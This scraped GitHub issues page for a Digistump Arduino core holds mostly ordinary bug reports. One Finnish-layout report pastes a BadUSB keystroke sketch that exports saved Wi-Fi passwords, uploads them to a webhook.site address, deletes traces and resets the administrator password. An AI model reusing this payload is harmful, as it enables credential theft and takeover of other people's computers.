arminjo / digistumparduino Goto Github PK
View Code? Open in Web Editor NEWImproved version of Digistump avr core for Arduino
Improved version of Digistump avr core for Arduino
Anyone knows how to fix this problem had it for some time
Plug in device now... (will timeout in 60 seconds)
Please plug in the device ...
Press CTRL+C to terminate the program.
Device search timed out
It doesn't get recognized by my computer I don't know why iv tried to fix but cant
Hi!
Good job man......thanks for your help.
I need help for use Attiny85 with the BasicStepperDriver
The console return this when try to compile:
Arduino:1.8.12 (Windows 10), Scheda:"Digispark (Default - 16.5mhz)"
C:\Users\Simone\AppData\Local\Temp\ccsPwu2G.ltrans0.ltrans.o: In function `delayMicros':
C:\Users\Simone\Documents\Arduino\libraries\StepperDriver-1.2.0\src/BasicStepperDriver.h:46: undefined reference to `yield()'
collect2.exe: error: ld returned 1 exit status
exit status 1
Errore durante la compilazione per la scheda Digispark (Default - 16.5mhz).
Can you do something?
Thanks in advance
After adding
I get error messages like this when I try to update libraries in the 1.8.18 IDE on windows
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit
Index error: could not find referenced tool name=arm-none-eabi-gcc version=9-2019q4 packager=adafruit
Index error: could not find referenced tool name=nrfjprog version=9.4.0 packager=adafruit
Index error: could not find referenced tool name=CMSIS version=5.7.0 packager=adafruit_
As stated here: https://forums.adafruit.com/viewtopic.php?f=25&t=177076 the problem is due to the
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json file.
Please have look into this.
If USB bootloader don't work, mabye ISP is OK.
Use Arduino ISP can also burn the USB bootloader and reset Fuse.
Because there is something wrong with the official
see here:
https://blog.csdn.net/Argon_Ghost/article/details/103637870
hope you can understand or translate it.
command is here:
C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/bin/avrdude -C "C:\Sofware_Portable\arduino-1.8.8\hardware\tools\avr/etc/avrdude.conf" -v -pattiny85 -carduino -PCOM4 -b19200 -Uflash:w:C:\Storage\t85_default.hex:i -U lfuse:w:0xE1:m -U hfuse:w:0xDD:m -U efuse:w:0xFE:m
just replace "C:\Sofware_Portable\arduino-1.8.8", "-PCOM4" and "C:\Storage\t85_default.hex" with your file and directory
Hid descriptor defines the keyboard as 101
this prevents all the keys above 101 from being recognized. (
Increasing the descriptor to 115 allows F20 key to be sent (F20 is 111 and F24 is 115)
If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.
Please delete all unchecked lines above :-)
` #include <Tachometer.h> // https://github.com/GyverLibs/Tachometer?tab=readme-ov-file
Tachometer tacho;
void setup() {
// put your setup code here, to run once:
pinMode(0, INPUT_PULLUP);
pinMode(1, OUTPUT);
attachInterrupt(0, isr, FALLING);
}
void loop() {
// put your main code here, to run repeatedly:
if (tacho.getHz() > 95) digitalWrite (1, HIGH);
else digitalWrite (1, LOW);
}
void isr() {
tacho.tick();
}
Sketch uses 2026 bytes (13%) of program storage space. Maximum is 14970 bytes.
Global variables use 29 bytes (5%) of dynamic memory, leaving 483 bytes for local variables. Maximum is 512 bytes.
"C:\Users\woodl\AppData\Local\Arduino15\packages\digistump\tools\micronucleus\2.6/micronucleus" --no-ansi --run --timeout 60 C:\Users\woodl\AppData\Local\Temp\arduino\sketches\3727D12B961B500C998C67424C146797/digispark_interrupt.ino.hex
Failed uploading: uploading error: exit status 0xc0000135. `
The board is programmable on Arduino 1.8.17 on Win10, but falls on Arduino IDE 2.3.2 on Win11
Dear Sir or Madame,
I want to send following key stroke:
DigiKeyboard.sendKeyStroke(KEY_M , MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
But it returns:
Key.ctrl_l + Key.shift + '\r'
How can I solve the Problem? I tried many things, even reinstalling the Digispark libraries.
Additionally the digispark USB Device turns off after about half an hour? Is there a way changing the times or even setting them to infinite?
Thanks for helping
Kind regards
Jan Fenten
Thanks for putting together this repo! It's help get me unblocked on using the Digistump Pro with MySensors. The one thing that I still seem to be missing is SPI.
A simple sketch for repro:
#include <SPI.h>
void loop(){
}
void setup(){
}
Compiles just fine for the UNO, but with the Digispark Pro selected:
Alternatives for SPI.h: []sketch_apr07a:1:10: fatal error: Please import the SPI library from the Sketch > Import Library menu.
As of Arduino 0019, the Ethernet library depends on the SPI library.
You appear to be using it or another library that depends on the SPI library.
Any help would be appreciated.
Any idea why, with D+ on the INT0 pin of the T167 that the digispark pro uses, the usbconfig.h is telling it to use PCINTs for USB? Bootloader does this too - but no comment or hint to WHY. Presumably someone tried it the normal way and tripped over some weird behavior on that chip or something, but I'm sort of disturbed that they didn't comment on it.
I ask because - since it's gotta be on those pins since that's what the hardware you can buy for dirt cheap from china has connected, you'd be far better off using INT0 instead of wasting a whole bank of PCINTs like that....
Also, you can remove the old windows micronucleus package.
Attempting to use this library in platformio.ini on OSX on a Mac with M1 processor produces this error
Processing digispark-tiny (platform: atmelavr; board: digispark-tiny; framework: arduino)
----------------------------------------------------------------------------------
Tool Manager: Installing platformio/framework-arduino-avr-digistump @ ^1.7.6
Error: Could not find the package with 'platformio/framework-arduino-avr-digistump @ ^1.7.6' requirements for your system 'darwin_arm64'
[env:digispark-tiny]
platform = atmelavr
board = digispark-tiny
framework = arduino
build_flags =
-D LED_PIN=1
platform_packages =
platformio/framework-arduino-avr-digistump@^1.7.6
Then attempt to build, and you will see this error.
If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.
I am currently in an ATTiny85 dev project in platformio and I would like to give your core a try. Could you please provide instructions on how to install your core in pio? Or possibly even better, request integration to pio by raising a feature request there?
If the internal pullup for input is activated once by using pinMode(pin,INPUT_PULLUP);
it keeps being activated after reconfiguring to a normal INPUT (pinMode(pin,INPUT
). Libaries like ADCTouch which reconfigure the pullup resistor therefore don't show the expected behaviour. ATTinycore explicitly disables pullups when setting pinMode(pin,INPUT)
pinMode(pin,INPUT)
should disable the internal pullup independent of the current setting.
The expected behavior should be achievable by changing the INPUT block of the pinMode function in wiring_digital.c but I'm not sure if this could cause other issues
if (mode == INPUT) {
uint8_t oldSREG = SREG;
cli();
*reg &= ~bit;
*out &= ~bit; //disable internal pullup
SREG = oldSREG;
Originally posted by Kapyyyy January 20, 2022
Like the title says, I'm a newbie but when trying to compile with the #define LAYOUT_FINNISH it spits out an error I have no clue of. I tested the default language, canadian french and german and all of those compiled fine. I hope the screenshots will give enough info, but I can share more if needed.
(edit: attached the screenshots instead of posting them as links)
(edit2: removed a accidental g that slipped in XD)
(edit3: Tested versions 1.7.5, 1.7.4, 1.7.3)
I have searched high and low for them but I cant find any. Im looking for explanations on how to use the new digikeyboard / mouse library.
In https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json, the CRC
"checksum": "SHA-256:7ee55b9f7345fee70791d025de4be0b6f797f40ea34445d8a23846426a42775b" does not seem to reflect https://github.com/ArminJo/DigistumpArduino/raw/master/digistump-avr-1.7.0.zip.
Version 1.6.8 works.
Hello @ArminJo , thanks for writing this tool.
I recently bought a digispark, setting up the host system per the instructions on Digistump's site (adding a udev rule etc), and then adding your package index into Arduino 1.18.13 (latest).
When I first burned the bootloader, the steps went great, though I left the variant at 'Default', not 'Recommended'.
Now when I try to upload a sketch, or burn a different bootloader, I get these messages repeating:
/home/atomspring/.arduino15/packages/digistump/tools/micronucleus/2.0a4/launcher -cdigispark --timeout 60 -Uflash:w:/home/atomspring/.arduino15/packages/digistump/hardware/avr/1.7.0/bootloaders/upgrade-t85_entry_on_powerOn_activePullup_fastExit.hex:i
Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)
Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5Warning: device with unknown new version of Micronucleus detected.
This tool doesn't know how to upload to this new device. Updates may be available.
Device reports version as: 2.5
What do I do here?
If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.
Please delete all unchecked lines above :-)
Version 1.7.4 also includes the nice possibility to upload via programmer other than using the bootloader (e.g., version 1.7.2 did not).
Anyway, the clock setting does not work.
ATtiny85 Digispark board
Arduino Nano as ISP
Arduino IDE
Version 1.7.4
File > Preferences > Additional Board manager URLs:
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json
Tools > Board: "Digispark"
Tools > Clock > 8 MHz – No USB (I use "8 MHz – No USB" after setting lfuse to E2 with avrdude -Cavrdude.conf -v -pattiny85 -cstk500v1 -P... -b19200 -U lfuse:w:0xE2:m
)
Tools > Micronucleus variant: at the moment, the highest available option is just "aggressive" (notice the double g
glitch BTW): there is no way to use the entire space, which would be possible using an ISP
Tools > Burn Bootloader Method: usage of this setting is not clear; at the moment it does not appear to influence the result
Tools > Port (I set the one connected to the Arduino Nano used as ISP)
Tools > Programmer: "Arduino as ISP"
To test, I use the "blink" sample sketch by measuring the LED timing, which is correct when the device is run at the standard clock (16.5 MHz with -U lfuse:w:0xf1:m
fuse and "16.5 MHz for V-USB" setting), while incorrect in the above-mentioned example (16.5 MHz with -U lfuse:w:0xE2:m
fuse and "8 MHz – No USB" setting).
As the result of Sketch > Upload is always to run the micronucleus (regardless of the setting "Tools > Programmer" - this would be another issue), the only way to run the programmer is via "Sketch > Upload Using Programmer".
Anyway, the behaviour is the same of running "Sketch > Upload" and then running avrdude manually on the compiled code.
Notice that https://github.com/damellis/attiny correctly works via "Sketch > Upload".
Hey, this doesn't work for me.
none of this works...
my code:
#define LAYOUT_FINNISH
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MODIFIERKEY_LEFT_GUI); //run
DigiKeyboard.delay(100);
DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible
DigiKeyboard.delay(500);
DigiKeyboard.delay(500);
//keylayouts.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); //Menu
//keylayouts.sendKeyStroke(KEY_M); //goto Move
//for(int i =0; i < 100; i++)
//{
//keylayouts.sendKeyStroke(KEY_DOWN);
//}
//keylayouts.sendKeyStroke(KEY_ENTER); //Detach from scrolling
DigiKeyboard.delay(100);
DigiKeyboard.println("cd %temp%"); //going to temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/0e47a039-257e-4652-9d24-asd> -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
DigiKeyboard.delay(1000);
DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess
DigiKeyboard.delay(100);
DigiKeyboard.println("net user administrator *");
DigiKeyboard.delay(100);
DigiKeyboard.println("hacked2022");
DigiKeyboard.delay(100);
DigiKeyboard.println("hacked2022");
DigiKeyboard.delay(100);
//DigiKeyboard.println("exit");
//DigiKeyboard.delay(100);
digitalWrite(1, HIGH);
DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);
}
Originally posted by @ArikSquad in #37
#define LAYOUT_SWEDISH
#define LAYOUT_NORWEGIAN
#define LAYOUT_DANISH
Wasn't able to use any of the nordic languages, probably due to missing å, ä and ö in the Teensyduino library, getting errors like "error: narrowing conversion of '1068' "
Also had a problem with updating the bootloader,Arduino IDE is capping the path for the bootloaders in the path name:
Correct: C:\Users\Jonathan Othén\AppData\Local\Arduino15\packages\digistump...
Path trying to fetch from: Othén\AppData\Local\Arduino15\packages\digistump...
(can't remeber the whole path by my mind)
Had to reinstall the original repository so sorry for incomplete info.
Hey, thanks for your work, but in the german language there are some mistakes again. To help you find them faster, I have written a simple tool, take a look at it here. I hope, you can use it to fix the wrong letters. I tried it myself but I miss the knowledge.
Hi,
Just want to report that the Portuguese Layout is not compile, all others are compiling fine.
Best Regards
If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.
Please delete all unchecked lines above :-)
I'm trying to upload a sketch but i keep getting this error saying:
usb_open(): Permission denied. For Linux, copy file https://github.com/micronucleus/micronucleus/blob/master/commandline/49-micronucleus.rules to /etc/udev/rules.d.
I have tried changing the permission of /etc/udev/rules.d i even reinstalled the whole arduino ide but i still have the same problem any help is appreciated!
I have added the URL to the additional boards config (Arduino 1.8.13) but when I attempt to update or install I see the following error:
I can manually follow the link to http://downloads.arduino.cc/tools/avr-gcc-7.3.0-atmel3.6.1-arduino5-i686-w64-mingw32.zip and download it.
If I manually download it, where do I place it?
Originally posted by douglasheld2 January 1, 2022
Hi, on URL https://github.com/ArminJo/DigistumpArduino#readme there are several places where the latest release, 1.7.5 is documented as release 2.7.5.
I don't mind if the author wants to skip some numbers, but if we are skipping directly to 2.7.5 it would be nice to make a specific note of that in the release notes / README. I suspect it was a typo.
When I choose to compile with: #define LAYOUT_GERMAN
and having the keyboard layout in Linux set to German, I get the some characters wrong.
For example the line DigiKeyboard.print("<>");
results in the output: /{
on my system.
I am so sorry to not help you more, but I have no clue how these keycodes work. Though I noticed that this header-file does seem to do the trick.
If you have handling problems or questions, consider to open a discussion https://github.com/ArminJo/DigistumpArduino/discussions instead of an issue.
#include <Adafruit_DotStar.h>
void setup() {
// put your setup code here, to run once:
}
void loop() {
// put your main code here, to run repeatedly:
}
from C:\Users\Deviant\AppData\Local\Temp\.arduinoIDE-unsaved2023021-13512-sdcgw0.51dq\sketch_jan21a\sketch_jan21a.ino:1:
c:\Users\Deviant\Documents\Arduino\libraries\Adafruit_BusIO/Adafruit_SPIDevice.h:9:10: fatal error: SPI.h: No such file or directory
#include <SPI.h>
^~~~~~~
compilation terminated.
exit status 1
Compilation error: exit status 1
When attempting to compile using the Digispark board and including Adafruit_Dotstar.h from Adafruit Dotstar v1.2.1, SPI.h cannot be found
Full compile without errors.
Tested with the reference sketch
Uploading works fine, but as soon as the bootloader exits and the USB CDC device is supposed to be created..
Translated: "USB device was not recognized. The last USB device that has been connected to this computer, did not work ordinarily and wasn't recognized by Windows."
Device manager says
"The USB device has returned an invalid USB configuration descriptor".
Tested board is the http://digistump.com/products/1
Selected Arduino IDE settings
Drivers were installed as per https://github.com/ArminJo/DigistumpArduino#driver-installation.
Hello,
When I'm compiling with french layout on the version 1.7.3, there is an error saying TILDE_BITS not defined.
There is the same error for all frenches variations (canadian, belgium, ...).
The version 1.7.2 doesn't have this issue.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.